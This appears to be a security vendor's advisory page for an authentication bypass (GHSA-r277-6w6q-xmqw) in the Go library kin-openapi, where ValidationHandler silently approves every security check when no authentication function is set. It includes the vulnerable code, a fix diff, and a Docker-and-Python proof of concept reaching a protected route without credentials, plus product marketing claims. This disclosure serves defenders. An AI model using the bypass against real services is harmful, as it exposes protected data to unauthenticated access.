GHSA-r277-6w6q-xmqw is a critical-severity (CVSS 9.1) Improper Authentication vulnerability in github.com/getkin/kin-openapi. O3 Security confirms whether GHSA-r277-6w6q-xmqw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r277-6w6q-xmqw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-r277-6w6q-xmqw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 368,770 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/getkin/kin-openapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.
Details
ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:
// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
h.AuthenticationFunc = NoopAuthenticationFunc
}
NoopAuthenticationFunc is defined as:
// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }
It always returns nil, meaning every security scheme check it handles is automatically approved.
When a request arrives, ServeHTTP → before → validateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:
// openapi3filter/validation_handler.go:91-103
options := &Options{
AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
Request: r,
PathParams: pathParams,
Route: route,
Options: options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
return err
}
Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:
// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
return err
}
Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).
The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.
Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).
PoC
Environment
Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)
Step 1 — Build the Docker image
From the repository root (parent of vuln-001/):
docker build \
-t vuln001-auth-bypass-poc \
-f vuln-001/Dockerfile \
reports/github_web_233_getkin__kin-openapi
The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.
Step 2 — Run the container
docker run --rm --network none vuln001-auth-bypass-poc
Step 3 (alternative) — Use the Python helper
python3 vuln-001/poc.py --no-cleanup
What the PoC does
main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:
paths:
/secret:
get:
security:
- apiKey: []
components:
securitySchemes:
apiKey:
type: apiKey
name: X-Api-Key
in: header
It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:
GET /secret HTTP/1.1
Host: example.test
# X-Api-Key header is intentionally absent
Expected (vulnerable) output
=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
-> Fail-CLOSED behavior confirmed: missing auth function is rejected
=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
ValidationHandler.AuthenticationFunc: NOT SET (nil)
Load() will inject NoopAuthenticationFunc, which always returns nil
Request: GET /secret (X-Api-Key header: absent)
Response: status=200 body="SECRET_DATA\n"
[EXPLOIT SUCCESS] Auth bypass confirmed!
Protected resource /secret returned SECRET_DATA without credentials.
ValidationHandler.Load() silently injected NoopAuthenticationFunc.
Security requirement was bypassed. VULN-001 REPRODUCED.
The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.
Remediation patch
--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
if h.Handler == nil {
h.Handler = http.DefaultServeMux
}
- if h.AuthenticationFunc == nil {
- h.AuthenticationFunc = NoopAuthenticationFunc
- }
if h.ErrorEncoder == nil {
h.ErrorEncoder = DefaultErrorEncoder
}
After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.
Impact
This is an authentication bypass vulnerability (CWE-287). Any application that:
- uses
openapi3filter.ValidationHandleras its HTTP middleware, and - declares one or more
securityrequirements in its OpenAPI specification, and - does not explicitly set
AuthenticationFunc,
is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.
Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.
The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.
Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine
# Install git (needed by go mod for some packages)
RUN apk add --no-cache git
WORKDIR /workspace
# Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/
# Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc
# Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc
go 1.25
require github.com/getkin/kin-openapi v0.143.0
replace github.com/getkin/kin-openapi => /kin-openapi
EOF
# Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go
# Resolve dependencies and build
RUN go mod tidy && \
go build -o /poc-binary .
# Run the PoC
CMD ["/poc-binary"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)
Vulnerability Summary:
ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
passes without validation when the user forgets to set AuthenticationFunc.
Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
(fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).
Usage:
python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""
import argparse
import os
import subprocess
import sys
import json
IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")
SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'
def run(cmd, **kwargs):
"""Run a shell command and return (returncode, stdout, stderr)."""
print(f"[CMD] {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
if result.stdout:
print(result.stdout, end="")
if result.stderr:
print(result.stderr, end="", file=sys.stderr)
return result.returncode, result.stdout, result.stderr
def build_image(build_dir):
"""Build the Docker image containing the PoC binary."""
print("\n[*] Building Docker image ...")
rc, stdout, stderr = run([
"docker", "build",
"--build-arg", f"REPO_DIR={REPO_DIR}",
"-t", IMAGE_NAME,
"-f", os.path.join(build_dir, "Dockerfile"),
# Build context is the reports root so both Dockerfile and repo/ are reachable
os.path.dirname(build_dir),
])
if rc != 0:
print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
sys.exit(rc)
print("[*] Docker build succeeded.")
return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"
def run_container():
"""Run the container and capture output."""
print("\n[*] Running PoC container ...")
rc, stdout, stderr = run([
"docker", "run", "--rm",
"--network", "none", # no network access needed
IMAGE_NAME,
])
combined = stdout + stderr
return rc, combined
def evaluate(exit_code, output):
"""Determine whether the exploit was confirmed."""
passed = (
exit_code == 0
and SUCCESS_MARKER in output
and EXPECTED_STATUS in output
and EXPECTED_BODY in output
)
return passed
def cleanup_image():
"""Remove the Docker image."""
print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
run(["docker", "rmi", "-f", IMAGE_NAME])
def main():
global IMAGE_NAME
parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
parser.add_argument("--build-dir", default=SCRIPT_DIR,
help="Directory containing Dockerfile and main.go")
parser.add_argument("--image", default=IMAGE_NAME,
help="Docker image name to build/run")
parser.add_argument("--no-cleanup", action="store_true",
help="Keep the Docker image after the run")
args = parser.parse_args()
IMAGE_NAME = args.image
print("=" * 60)
print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
print("=" * 60)
print(f" Build dir : {args.build_dir}")
print(f" Repo dir : {REPO_DIR}")
print(f" Image : {IMAGE_NAME}")
build_cmd = build_image(args.build_dir)
run_cmd = f"docker run --rm --network none {IMAGE_NAME}"
exit_code, output = run_container()
if not args.no_cleanup:
cleanup_image()
passed = evaluate(exit_code, output)
print("\n" + "=" * 60)
if passed:
print("[RESULT] PASS — Auth bypass CONFIRMED")
print(" The protected handler returned SECRET_DATA without credentials.")
print(" ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
else:
print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")
print(f"\nContainer exit code : {exit_code}")
print(f"Success marker found: {SUCCESS_MARKER in output}")
print(f"Status 200 found : {EXPECTED_STATUS in output}")
print(f"Secret body found : {EXPECTED_BODY in output}")
# Exit with code that signals pass/fail
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/getkin/kin-openapi | all versions | 0.144.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/getkin/kin-openapi to 0.144.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r277-6w6q-xmqw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r277-6w6q-xmqw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r277-6w6q-xmqw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat rates this as Important rather than Critical because exploitation requires the target application to explicitly instantiate and load the ValidationHandler middleware instead of ValidateRequest() or the Validator middleware. RHOAI images ship kin-openapi 0.131–0.133 but do not invoke ValidationHandler as auth…
Frequently Asked Questions
Is GHSA-r277-6w6q-xmqw in your dependencies?
O3 detects GHSA-r277-6w6q-xmqw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.